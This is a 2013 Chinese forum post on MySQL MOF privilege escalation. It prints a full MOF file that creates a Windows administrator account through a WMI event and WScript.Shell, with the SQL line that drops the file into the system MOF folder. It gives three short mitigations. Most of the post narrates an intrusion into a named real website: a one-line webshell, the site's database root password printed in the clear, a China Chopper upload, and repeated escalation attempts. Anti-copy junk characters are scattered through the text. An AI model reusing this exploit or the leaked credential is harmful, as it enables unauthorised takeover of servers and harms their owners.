找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2217|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法  `3 ^. i% @0 b% `/ E% g" M

3 p9 h) ]1 A- B* Z, V1 F9 L, @网上公开的一些利用代码:
: j6 |- m" [/ p' s) m- C" r/ G* x! n% C2 o: Y, G$ }- q" B/ P
#pragma namespace(“\\\\.\\root\\subscription”)+ y, z7 z, @* I  z- [5 g* E' M5 ]# k
- S8 N. K/ t+ E  M1 B
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
1 i$ Z) Z# G# g# L7 V1 X! Y3 |( k% R: i5 ?  I: o: u. z
2 S& f  L$ u6 U) E% c" P
7 [  F" S- S, p$ ?, M

% Z4 I, ^' ?2 z! p
  m; t0 d* p+ R/ _( c连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;7 E' {3 m/ f) i; i3 S8 l- f9 m
从上面代码来看得出解决办法:. f9 Q! Y6 N) `( _1 n0 m

  k( E! e9 `% _8 f1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数: l/ f8 ]3 j  x5 `/ b) }& ?  R$ n  |

7 d+ ]. b3 s$ E, P2、禁止使用”WScript.Shel”组件, R6 Q1 T2 O4 M; l9 [2 b( o
3 ~/ `0 A: U( x5 H
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER2 o: F' e! _# g) g! S2 L
7 R: d1 d" @' `+ F2 @
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
4 o$ D" J7 H+ v5 G" S: j5 ]! N* F5 G; d. i  g! I
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权9 G% R; h: f6 N( R2 ~% x- f
, e  L7 [" E5 @6 M" x8 V* i
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
. }7 r+ o: m8 |9 l+ U
- t7 b3 o9 T/ T5 V看懂了后就开始练手吧
9 S) k3 j3 ]4 u" f1 Q9 z
/ v/ m. g7 p5 y' h! [  z" \( a, Qhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
! _  I2 M5 H# r, d* V1 @  ^( @  K0 K& Y4 }  ?- o+ M1 ~
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
: {4 `0 ~+ ]$ r& m. i* \4 n- J, P( I, d1 [% _8 K5 X! h
于是直接用菜刀开搞
8 O1 Z5 B9 I+ S, }2 G8 w, S+ `4 T3 V4 D' ]! I/ y
上马先
" x8 E; j; c' y2 u3 y% P7 l9 ?$ [9 ?: s4 T6 w
既然有了那些账号 之类的 于是我们就执行吧…….- Q+ q# k& E7 E1 U1 [5 u; F
9 i; C, j2 X& ?, u8 i9 x4 y. G
小小的说下5 M. Q6 _: t; G5 ?. \
6 F# \6 D! {) w" Q6 v1 U
在这里第1次执行未成功        原因未知
7 l" ^3 {* o! ^* l- I/ y
8 |* A1 K& T9 ^! F/ L9 p我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
1 p4 a  C5 O: R* _- d0 |$ h. r) l' D, a; `3 Z- z$ b
#pragma namespace(“\\\\.\\root\\subscription”)  Q  ]% N& R- O  f3 D
) r1 }% o$ A- P# Q
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };0 |) ?* Z$ z9 W; Z) d
& _! o/ w$ G, p4 S/ k: x% I9 ?
我是将文件放到C:\WINDOWS\temp\1.mof/ K/ E) S% |) x( X: ~% k

) j& z8 d9 ]& V, v1 t' n所以我们就改下执行的代码
: g& i6 ~5 u- ~* }' K2 X3 Y4 c0 G7 w3 x) a( q3 j# e/ |
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;, `/ a  Z* h! V9 ?, o) c( t

  G! o& p* z& \6 _) i+ ^) _  ]/ l. j

* |$ V+ c' K! E( Q) m  w但是 你会发现账号还是没有躺在那里。。
8 ?7 B; j5 n5 D+ s% ?
) e* L2 |. m& p8 ]9 u8 v于是我就感觉蛋疼
" _3 j+ z6 g' I" U
/ \, y' ~' F, L' f6 K2 @- l9 D# u& i就去一个一个去执行 但是执行到第2个 mysql时就成功了………! b/ K5 v* K# R. A
  L3 x8 @6 G7 H5 ~) I" g

' I0 S0 G$ q* k( f3 C9 h$ [& }" X4 I. U+ c
但是其他库均不成功…
, @2 e3 E0 y! Q  o; g5 k2 c2 T" u- Q" e% ]$ H# ^3 j
我就很费解呀 到底为什么不成功求大牛解答…
4 o  Z- B' r0 o$ X
$ H. S8 d% A: n7 O$ T$ o: c. k0 V6 l  g/ S  Y: [" {

, Y9 B: N! a6 \8 X$ Z7 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表